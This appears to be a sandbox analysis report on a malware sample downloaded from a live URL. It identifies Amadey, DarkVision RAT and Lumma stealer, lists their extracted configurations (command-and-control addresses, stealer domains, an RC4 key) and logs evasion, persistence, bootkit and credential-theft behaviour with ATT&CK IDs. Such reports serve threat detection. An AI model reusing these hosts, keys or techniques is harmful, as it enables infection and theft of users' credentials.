amadey | hxxp://176[.]113[.]115[.]7/mine/random[.]exe

Resubmissions

08/04/2025, 18:51

250408-xhjj9ayms7 10

06/04/2025, 21:54

250406-1sfswssk12 10

Analysis

max time kernel
900s
max time network
902s
platform
windows11-21h2_x64
resource
win11-20250313-en
resource tags

arch:x64arch:x86image:win11-20250313-enlocale:en-usos:windows11-21h2-x64system
submitted
08/04/2025, 18:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

http://176.113.115.7/mine/random.exe

Score

10^/10

amadey darkvision lumma 092155 bootkit credential_access defense_evasion discovery execution persistence privilege_escalation rat spyware stealer trojan

Malware Config

Extracted

Family

amadey

Version

5.21

Botnet

092155

http://176.113.115.6

Attributes

install_dir
bb556cff4a
install_file
rapes.exe
strings_key
a131b127e996a898cd19ffb2d92e481b
url_paths
/Ni9kiput/index.php

rc4.plain

Extracted

Family

darkvision

82.29.67.160

Attributes

url
http://107.174.192.179/data/003

https://grabify.link/ZATFQO

http://107.174.192.179/clean
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36

Extracted

Family

lumma

https://reformzv.digital/guud

https://soursopsf.run/gsoiao

https://changeaie.top/geps

https://easyupgw.live/eosz

https://pliftally.top/xasj

https://upmodini.digital/gokk

https://psalaccgfa.top/gsooz

https://zestmodp.top/zeda

https://xcelmodo.run/nahd

https://rodformi.run/aUosoz

https://metalsyo.digital/opsa

https://ironloxp.live/aksdd

https://navstarx.shop/FoaJSi

https://wstarcloc.bet/GOksAo

https://advennture.top/GKsiio

https://atargett.top/dsANGt

https://spacedbv.world/EKdlsk

https://galxnetb.today/GsuIAo

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey
DarkVision Rat
DarkVision Rat is a trojan written in C++.
rat darkvision
Darkvision family
darkvision
Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma
Contacts a large (9886) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 17 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	d331f1b04d.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	0f03eb8d51.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	random.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	but2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	5d9389ae82.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	a5506f9080.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	93f704f934.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	random.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	88b971863b.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	78b237e47b.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	df98b90ee9.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	f59c48c2d1.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4936	powershell.exe
14704	powershell.exe
14132	powershell.exe
5840	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Downloads MZ/PE file 21 IoCs

flow	pid	Process
8849	388	rapes.exe
62798	7656	rapes.exe
5940	388	rapes.exe
36999	10184	svchost015.exe
137	388	rapes.exe
923	388	rapes.exe
75	2676	svchost.exe
7409	388	rapes.exe
11175	388	rapes.exe
5928	388	rapes.exe
54	388	rapes.exe
54	388	rapes.exe
2881	388	rapes.exe
2881	388	rapes.exe
37352	11364	svchost015.exe
49416	13856	svchost015.exe
67140	4436	svchost015.exe
8316	7996	futors.exe
8793	388	rapes.exe
101	388	rapes.exe
31	5160	msedge.exe

Drops file in Drivers directory 5 IoCs

description	ioc	Process
File created	C:\Windows\System32\Drivers\klupd_fa2b3b9fa_arkmon.sys	b3d59d1e.exe
File created	C:\Windows\System32\Drivers\klupd_fa2b3b9fa_klbg.sys	b3d59d1e.exe
File created	C:\Windows\system32\drivers\etc\hosts	WmP4vZj.exe
File created	C:\Windows\system32\drivers\etc\hosts	updater.exe
File created	C:\Windows\System32\Drivers\fa2b3b9f.sys	b3d59d1e.exe

Sets service image path in registry 2 TTPs 7 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\fa2b3b9f\ImagePath = "System32\\Drivers\\fa2b3b9f.sys"	b3d59d1e.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\klupd_fa2b3b9fa_arkmon\ImagePath = "System32\\Drivers\\klupd_fa2b3b9fa_arkmon.sys"	b3d59d1e.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\klupd_fa2b3b9fa_klbg\ImagePath = "System32\\Drivers\\klupd_fa2b3b9fa_klbg.sys"	b3d59d1e.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\klupd_fa2b3b9fa_klark\ImagePath = "System32\\Drivers\\klupd_fa2b3b9fa_klark.sys"	b3d59d1e.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\klupd_fa2b3b9fa_mark\ImagePath = "System32\\Drivers\\klupd_fa2b3b9fa_mark.sys"	b3d59d1e.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\klupd_fa2b3b9fa_arkmon_7C924DD4\ImagePath = "\\??\\C:\\KVRT2020_Data\\Temp\\7C924DD4D20055C80007791130E2D03F\\klupd_fa2b3b9fa_arkmon.sys"	b3d59d1e.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\7K2z7U_2340\ImagePath = "\\??\\C:\\Windows\\Temp\\7K2z7U_2340.sys"	tzutil.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Uses browser remote debugging 2 TTPs 9 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
11152	chrome.exe
12740	chrome.exe
13004	chrome.exe
9296	msedge.exe
10716	msedge.exe
12764	chrome.exe
3880	chrome.exe
14244	msedge.exe
11188	msedge.exe

Checks BIOS information in registry 2 TTPs 34 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	78b237e47b.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	78b237e47b.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	88b971863b.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	d331f1b04d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	93f704f934.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	f59c48c2d1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	f59c48c2d1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	a5506f9080.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	but2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	df98b90ee9.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5d9389ae82.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	88b971863b.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	0f03eb8d51.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	93f704f934.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5d9389ae82.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	but2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	0f03eb8d51.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	df98b90ee9.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	d331f1b04d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	a5506f9080.exe

Executes dropped EXE 56 IoCs

pid	Process
5328	random.exe
3564	random.exe
388	rapes.exe
4916	rapes.exe
5468	cfeccaca8c.exe
5812	UZPt0hR.exe
2340	tzutil.exe
3532	w32tm.exe
5136	0f03eb8d51.exe
5300	9sWdA2p.exe
6852	but2.exe
4836	pcidrv.exe
13728	qhjMWht.exe
10396	1ef04c27.exe
11292	b3d59d1e.exe
12212	WmP4vZj.exe
12292	WmP4vZj.exe
4524	rapes.exe
12740	pcidrv.exe
13476	fd67EIq.exe
15052	updater.exe
15328	updater.exe
8468	SOlxEHb.exe
9064	SvBfWqP.exe
9576	amnew.exe
7996	futors.exe
13484	JYmYIvU.exe
6824	v7942.exe
7120	78b237e47b.exe
10500	df98b90ee9.exe
10536	joker1221.exe
13580	legendarik.exe
14372	svchost015.exe
7628	88b971863b.exe
8188	EXE.exe
8336	rapes.exe
8216	futors.exe
8252	pcidrv.exe
7656	rapes.exe
9056	futors.exe
9276	pcidrv.exe
5032	93f704f934.exe
7528	d331f1b04d.exe
11364	svchost015.exe
9984	5d9389ae82.exe
10184	svchost015.exe
12656	f59c48c2d1.exe
13856	svchost015.exe
10804	a5506f9080.exe
4436	svchost015.exe
4328	7daf4e82b3.exe
11184	7daf4e82b3.tmp
5092	KMSpico.exe
10752	KMSpico.tmp
11948	core.exe
4700	info.exe

Identifies Wine through registry keys 2 TTPs 17 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2873637269-1458872900-2373203793-1000\Software\Wine	5d9389ae82.exe
Key opened	\REGISTRY\USER\S-1-5-21-2873637269-1458872900-2373203793-1000\Software\Wine	df98b90ee9.exe
Key opened	\REGISTRY\USER\S-1-5-21-2873637269-1458872900-2373203793-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2873637269-1458872900-2373203793-1000\Software\Wine	93f704f934.exe
Key opened	\REGISTRY\USER\S-1-5-21-2873637269-1458872900-2373203793-1000\Software\Wine	f59c48c2d1.exe
Key opened	\REGISTRY\USER\S-1-5-21-2873637269-1458872900-2373203793-1000\Software\Wine	random.exe
Key opened	\REGISTRY\USER\S-1-5-21-2873637269-1458872900-2373203793-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2873637269-1458872900-2373203793-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2873637269-1458872900-2373203793-1000\Software\Wine	but2.exe
Key opened	\REGISTRY\USER\S-1-5-21-2873637269-1458872900-2373203793-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2873637269-1458872900-2373203793-1000\Software\Wine	88b971863b.exe
Key opened	\REGISTRY\USER\S-1-5-21-2873637269-1458872900-2373203793-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2873637269-1458872900-2373203793-1000\Software\Wine	a5506f9080.exe
Key opened	\REGISTRY\USER\S-1-5-21-2873637269-1458872900-2373203793-1000\Software\Wine	random.exe
Key opened	\REGISTRY\USER\S-1-5-21-2873637269-1458872900-2373203793-1000\Software\Wine	0f03eb8d51.exe
Key opened	\REGISTRY\USER\S-1-5-21-2873637269-1458872900-2373203793-1000\Software\Wine	d331f1b04d.exe
Key opened	\REGISTRY\USER\S-1-5-21-2873637269-1458872900-2373203793-1000\Software\Wine	78b237e47b.exe

Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs

defense_evasion

Safe Mode Boot

T1562.009

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\fa2b3b9f.sys	b3d59d1e.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\fa2b3b9f.sys\ = "Driver"	b3d59d1e.exe

Loads dropped DLL 25 IoCs

pid	Process
11292	b3d59d1e.exe
11292	b3d59d1e.exe
11292	b3d59d1e.exe
11292	b3d59d1e.exe
11292	b3d59d1e.exe
11292	b3d59d1e.exe
11292	b3d59d1e.exe
11292	b3d59d1e.exe
11292	b3d59d1e.exe
11292	b3d59d1e.exe
11292	b3d59d1e.exe
11292	b3d59d1e.exe
11292	b3d59d1e.exe
11292	b3d59d1e.exe
11292	b3d59d1e.exe
11292	b3d59d1e.exe
11292	b3d59d1e.exe
11292	b3d59d1e.exe
11292	b3d59d1e.exe
11292	b3d59d1e.exe
11292	b3d59d1e.exe
11292	b3d59d1e.exe
11292	b3d59d1e.exe
11292	b3d59d1e.exe
11292	b3d59d1e.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\5111d266-9b49-4e12-998e-14e77f0b490b = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\{d666023e-c1b1-4b91-8855-42e767e1e337}\\5111d266-9b49-4e12-998e-14e77f0b490b.cmd\""	b3d59d1e.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2873637269-1458872900-2373203793-1000\Software\Microsoft\Windows\CurrentVersion\Run\d331f1b04d.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10055900101\\d331f1b04d.exe"	futors.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2873637269-1458872900-2373203793-1000\Software\Microsoft\Windows\CurrentVersion\Run\5d9389ae82.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10055910101\\5d9389ae82.exe"	futors.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2873637269-1458872900-2373203793-1000\Software\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}"	svchost.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	b3d59d1e.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
12759	ip-api.com
25	ip-api.com

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
1180	powercfg.exe
6404	powercfg.exe
6868	powercfg.exe
6844	powercfg.exe
6840	powercfg.exe
15176	powercfg.exe
4468	powercfg.exe
5404	powercfg.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	b3d59d1e.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	WmP4vZj.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	updater.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 17 IoCs

pid	Process
5328	random.exe
3564	random.exe
388	rapes.exe
4916	rapes.exe
5136	0f03eb8d51.exe
6852	but2.exe
4524	rapes.exe
7120	78b237e47b.exe
10500	df98b90ee9.exe
7628	88b971863b.exe
8336	rapes.exe
7656	rapes.exe
5032	93f704f934.exe
7528	d331f1b04d.exe
9984	5d9389ae82.exe
12656	f59c48c2d1.exe
10804	a5506f9080.exe

Suspicious use of SetThreadContext 16 IoCs

description	pid	Process	procid_target
PID 5468 set thread context of 5320	5468	cfeccaca8c.exe	116
PID 12212 set thread context of 12292	12212	WmP4vZj.exe	162
PID 15052 set thread context of 15328	15052	updater.exe	201
PID 15328 set thread context of 7092	15328	updater.exe	222
PID 15328 set thread context of 5988	15328	updater.exe	226
PID 8468 set thread context of 8832	8468	SOlxEHb.exe	228
PID 9064 set thread context of 9492	9064	SvBfWqP.exe	231
PID 6824 set thread context of 5092	6824	v7942.exe	236
PID 13484 set thread context of 7468	13484	JYmYIvU.exe	237
PID 10536 set thread context of 10576	10536	joker1221.exe	241
PID 13580 set thread context of 13752	13580	legendarik.exe	254
PID 10500 set thread context of 14372	10500	df98b90ee9.exe	255
PID 7528 set thread context of 11364	7528	d331f1b04d.exe	300
PID 9984 set thread context of 10184	9984	5d9389ae82.exe	302
PID 12656 set thread context of 13856	12656	f59c48c2d1.exe	308
PID 10804 set thread context of 4436	10804	a5506f9080.exe	311

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	1ef04c27.exe
File opened (read-only)	\??\VBoxMiniRdrDN	b3d59d1e.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\be\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\sv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\it\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\ne\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\en\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\dasherSettingSchema.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\offscreendocument.html	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\sr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\km\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\fa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\gu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\sk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\128.png	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\ar\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\sl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\zu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\fr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\offscreendocument_main.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\ja\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\es_419\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\zh_HK\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\kk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\sw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\en_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\fr_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\gl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\zh_CN\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\pa\messages.json	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2972_202196815\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2972_1462377231\sets.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2972_1462377231\manifest.fingerprint	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\te\messages.json	msedge.exe
File created	C:\Windows\Tasks\rapes.job	random.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2972_1462377231\LICENSE	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\fi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\et\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\el\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\lo\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\iw\messages.json	msedge.exe
File created	C:\Windows\Tasks\futors.job	amnew.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2972_1462377231\_metadata\verified_contents.json	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\zh_TW\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\da\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\pt_BR\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\am\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\en_GB\messages.json	msedge.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\lv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\af\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\my\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\ko\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2972_1462377231\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\ka\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\lt\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\ru\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\msedge_url_fetcher_5556_833181252\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_90_1_0.crx	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\bn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\bg\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5556_1755899622\_locales\es\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\msedge_url_fetcher_2972_1695412468\bf8090eb-6e5c-4c51-9250-5bf9b46cf160	msedge.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1176	sc.exe
15284	sc.exe
14872	sc.exe
14880	sc.exe
4268	sc.exe
6604	sc.exe
14416	sc.exe
14576	sc.exe
15136	sc.exe
